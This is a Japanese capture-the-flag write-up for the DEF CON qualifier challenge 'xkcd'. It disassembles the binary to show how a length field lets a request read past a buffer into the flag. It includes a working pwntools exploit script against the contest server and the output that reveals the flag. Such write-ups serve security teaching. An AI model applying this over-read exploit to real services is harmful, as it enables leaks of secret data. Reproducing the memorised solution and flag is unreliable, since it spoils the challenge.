xkcd
Baby's First, 59 points
http://download.quals.shallweplayaga.me/be4bf26fcb93f9ab8aa193efaad31c3b/xkcd
xkcd_be4bf26fcb93f9ab8aa193efaad31c3b.quals.shallweplayaga.me:1354
Might want to read that comic as well... 1354
$ file xkcdxkcd: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, not stripped
実行してみます。何か入力するとMALFORMED REQUESTと表示されます。
それでは、objdumpで逆アセンブルして動作を解析します。$ ./xkcdaaaaMALFORMED REQUEST
まず、以下の箇所でflag文字列を0x6b7540のアドレスに読み込んでいます。$ objdump -s -D xkcd > aaa.txt
400ff8: bf 40 75 6b 00 mov $0x6b7540,%edi400ffd: e8 8e 6d 00 00 callq 407d90 <_IO_fread> #flagを0x6b7540に読み込む
次に入力された文字列を?で区切って、前半部分を「SERVER, ARE YOU STILL THERE」と比較しています。
401027: be 04 7e 48 00 mov $0x487e04,%esi #?40102c: 48 89 c7 mov %rax,%rdi40102f: b8 00 00 00 00 mov $0x0,%eax401034: e8 67 86 01 00 callq 4196a0 <strtok> #?で入力文字列を区切る401039: 48 98 cltq40103b: 48 89 45 d8 mov %rax,-0x28(%rbp)40103f: 48 8b 45 d8 mov -0x28(%rbp),%rax401043: be 06 7e 48 00 mov $0x487e06,%esi #SERVER, ARE YOU STILL THERE401048: 48 89 c7 mov %rax,%rdi40104b: e8 80 f2 ff ff callq 4002d0 #__strcmp_sse2_unaligned401050: 85 c0 test %eax,%eax401052: 74 14 je 401068 <main+0x10a> #eax=0の場合(文字列一致)
さらに上記で区切った後半部分を"で区切って、「IF SO, REPLY」と比較しています。
さらに上記で区切った残りの部分を"で区切って、flagの先頭から512バイト手前にコピーしています。401068: be 34 7e 48 00 mov $0x487e34,%esi #"40106d: bf 00 00 00 00 mov $0x0,%edi401072: b8 00 00 00 00 mov $0x0,%eax401077: e8 24 86 01 00 callq 4196a0 <strtok> #"で区切る40107c: 48 98 cltq40107e: 48 89 45 d8 mov %rax,-0x28(%rbp)401082: 48 8b 45 d8 mov -0x28(%rbp),%rax401086: be 36 7e 48 00 mov $0x487e36,%esi # IF SO, REPLY40108b: 48 89 c7 mov %rax,%rdi40108e: e8 3d f2 ff ff callq 4002d0 #__strcmp_sse2_unaligned401093: 85 c0 test %eax,%eax401095: 74 14 je 4010ab <main+0x14d> #eax=0の場合(文字列一致)
4010ab: be 34 7e 48 00 mov $0x487e34,%esi #"4010b0: bf 00 00 00 00 mov $0x0,%edi4010b5: b8 00 00 00 00 mov $0x0,%eax4010ba: e8 e1 85 01 00 callq 4196a0 <strtok> #"で区切る4010bf: 48 98 cltq4010c1: 48 89 45 d8 mov %rax,-0x28(%rbp)4010c5: 48 8b 45 d8 mov -0x28(%rbp),%rax4010c9: 48 89 c7 mov %rax,%rdi4010cc: e8 af 61 01 00 callq 417280 <strlen> #""で囲まれた文字列の長さ4010d1: 48 89 c2 mov %rax,%rdx4010d4: 48 8b 45 d8 mov -0x28(%rbp),%rax4010d8: 48 89 c6 mov %rax,%rsi4010db: bf 40 73 6b 00 mov $0x6b7340,%edi #flag(0x6b7540)の0x200=512バイト手前4010e0: e8 fb eb 01 00 callq 41fce0 <memcpy> #""で囲まれた文字列をコピー
さらに残りの部分を()で区切り、()の中を数値として読み取り、flagの先頭-512+読み取った数値の位置にnull文字を設定しています。
4010e5: be 45 7e 48 00 mov $0x487e45,%esi #(4010ea: bf 00 00 00 00 mov $0x0,%edi4010ef: b8 00 00 00 00 mov $0x0,%eax4010f4: e8 a7 85 01 00 callq 4196a0 <strtok> #(で区切る4010f9: 48 98 cltq4010fb: 48 89 45 d8 mov %rax,-0x28(%rbp)4010ff: be 47 7e 48 00 mov $0x487e47,%esi #)401104: bf 00 00 00 00 mov $0x0,%edi401109: b8 00 00 00 00 mov $0x0,%eax40110e: e8 8d 85 01 00 callq 4196a0 <strtok> #)で区切る401113: 48 98 cltq401115: 48 89 45 d8 mov %rax,-0x28(%rbp)401119: 48 8d 55 d4 lea -0x2c(%rbp),%rdx40111d: 48 8b 45 d8 mov -0x28(%rbp),%rax401121: be 49 7e 48 00 mov $0x487e49,%esi #%d LETTERS401126: 48 89 c7 mov %rax,%rdi401129: b8 00 00 00 00 mov $0x0,%eax40112e: e8 dd 64 00 00 callq 407610 <__isoc99_sscanf> #()で囲まれた文字列を数値として入力…①401133: 8b 45 d4 mov -0x2c(%rbp),%eax401136: 48 98 cltq401138: c6 80 40 73 6b 00 00 movb $0x0,0x6b7340(%rax) #flagの先頭-512+①の位置にnull文字を入れる
最後に、以下の箇所でflagの先頭-512からの文字列の長さと、上記の①の値を比較しています。これは、①の数値をちょうどflagの終端に一致しているかをチェックしています。何度か試行錯誤すれば適切な値が分かります。
401145: bf 40 73 6b 00 mov $0x6b7340,%edi40114a: e8 31 61 01 00 callq 417280 <strlen>40114f: 48 39 c3 cmp %rax,%rbx
最後、以下の箇所で出力していますので、0x6b7340の位置からflagまでつなげて、まとめて出力されるように文字列を入力すれば良いです。
401168: bf 40 73 6b 00 mov $0x6b7340,%edi40116d: e8 ee 70 00 00 callq 408260 <_IO_puts>
ということで、以上を踏まえてエクスプロイトコードを書きます。
実行すると、以下のとおりフラグが表示されました。#!/usr/bin/env python2from pwn import *import timeimport argparseparser = argparse.ArgumentParser()parser.add_argument('--local', action='store_true')args = parser.parse_args()context.log_level = 'debug'if args.local:p = process('./xkcd')else:p = remote('xkcd_be4bf26fcb93f9ab8aa193efaad31c3b.quals.shallweplayaga.me', 1354)p.sendline('SERVER, ARE YOU STILL THERE'+ '?'+ ' IF SO, REPLY '+ '"'+ 'X' * 512+ '"'+ 'YYYY'+ '('+ '541'+ ')'+ '_____')time.sleep(0.1)p.recvall()
フラグは、$ python aaa.py[+] Opening connection to xkcd_be4bf26fcb93f9ab8aa193efaad31c3b.quals.shallweplayaga.me on port 1354: Done[DEBUG] Sent 0x23b bytes:'SERVER, ARE YOU STILL THERE? IF SO, REPLY "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"YYYY(541)_____\n'[-] Recieving all data: Failed[DEBUG] Received 0x21e bytes:'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXThe flag is: bl33ding h34rt5\n''\n'
です。bl33ding h34rt5